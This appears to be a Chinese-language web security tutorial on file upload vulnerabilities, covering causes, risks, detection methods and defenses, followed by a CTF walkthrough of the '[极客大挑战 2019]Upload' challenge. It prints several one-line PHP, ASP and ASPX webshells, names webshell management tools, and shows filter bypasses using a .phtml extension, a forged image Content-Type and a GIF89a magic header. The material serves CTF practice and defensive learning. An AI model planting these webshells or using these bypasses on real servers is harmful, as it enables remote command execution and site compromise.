Web入门

文件上传

什么是文件上传漏洞

(一) 什么是文件上传

文件上传指的是将文件从个人计算机(本地计算机)发送到远程服务器上的功能。 很多Web应用都提供了该功能, 通常用户会以POST请求方式把文件内容进行上传。

(二) 什么是文件上传漏洞

只要具有文件上传功能的地方都有可能存在文件上传漏洞。

文件上传这个功能本身并不是漏洞, 但是如果后端对用户上传的文件内容不进行校验或者校验不严格向服务器上传可执行的脚本语言文件, 获得执行服务器端系统命令的权限。

漏洞产生的原因:
1. 服务器配置不当
2. 文件上传限制被绕过
3. 开源编辑器的上传漏洞
4. 文件解析漏洞导致文件执行
5. 过滤不严或被绕过

(三) 文件上传漏洞的危害

1. 代码执行: 服务器的web容器解释并执行了用户上传的脚本
2. 域控制: 黑客用以控制flash在该域下的行为
3. 网站挂马: 上传文件是病毒、木马
4. 钓鱼: 在某些版本的浏览器中会被作为脚本执行, 被用于钓鱼和欺诈

(四) 漏洞触发条件

1. 上传的文件内容成功被服务器解析并执行
2. 服务器返回上传路径或可以通过爆破获得文件名及路径

(五) 文件上传检测方式

1. 客户端JavaScript检测
2. 服务端MIME类型检测
3. 服务端目录路径检测
4. 服务端文件扩展名检测
5. 服务端文件内容检测

常见的一句话木马

什么是WebShell

WebShell就是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境, 也可以将其称之为一种网页后门。
原理: 上传的文件中存在控制服务器的指令, 被解析执行, 从而达到攻击的目的。

PHP中常见代码执行函数: eval(), exec(), system()等。

php马:    <?php @eval($_POST['a']);?>

script马: <script language="php">system("");</script>

asp马:	 <&eval Request("pass")%>

aspx马:	 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"]);%>

常见的WebShell管理工具

中国蚁剑
哥斯拉
天蝎
冰蝎
中国菜刀

常见的文件上传漏洞

(一) 文件类型检测

HTTP请求数据包中, 会使用 "Content-Type" 来表示具体请求中的媒体类型信息, 如果服务器端对 "Content-Type" 进行检测, 那么直接把其内容修改为合法的格式即可。
常见的媒体类型及格式如下:

(二) 文件后缀检测

文件后缀检测一般分为两种, 一个是黑白名单规定文件后缀类型, 还一个是对文件后缀和非法信息比较, 去除掉黑名单中的字符串后上传文件。

(三) 与文件包含结合

攻击者通过文件包含漏洞获取上传路径, 然后上传恶意文件实施攻击。

文件上传漏洞防御

1. 文件上传的目录设置为不可执行
2. 判断文件类型
3. 使用随机数改写文件名和文件路径
4. 单独设置文件服务器的域名

例题:[极客大挑战 2019]Upload

点击url没发现文件名的后缀, 首先先尝试shell1.php,可惜显示Not image!


尝试修改文件后缀名和content-type,用burpsuite抓包进行修改:

将文件名修改为.phtml是为了绕过常规的php文件的后缀检测(尝试的第一步)
文件类型修改为: image/jpg
还得知道一个知识点phtml是啥?
答:phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析


回显得知我们之前写的一句话木马是包含?>,故被过滤了,我们就需要修改我们所编写的一句话木马,根据上述笔记可以很轻松的写出来

修改前的一句话木马:
<?php @eval($_POST['shell']);?>

我们将一句话木马进行修改

修改后的一句话木马:
<script language="php">eval($_REQUEST[shell])</script>

看回显继续一步步走下去


由于后端对于内容的检测导致我们上传失败,尝试用文件幻术头的方式进行绕过

GIF89a
<script language="php">eval($_REQUEST[shell])</script>


猜测路径在/upload下

验证正确,打开蚁剑进行连接

在根目录下,找到flag

flag{efb4318a-cc77-4262-9b6e-8afced6e947d}

热门相关:黄金渔村   我能改变东西颜色   退婚后我嫁给了前任他叔   寻情仙使   天命为妃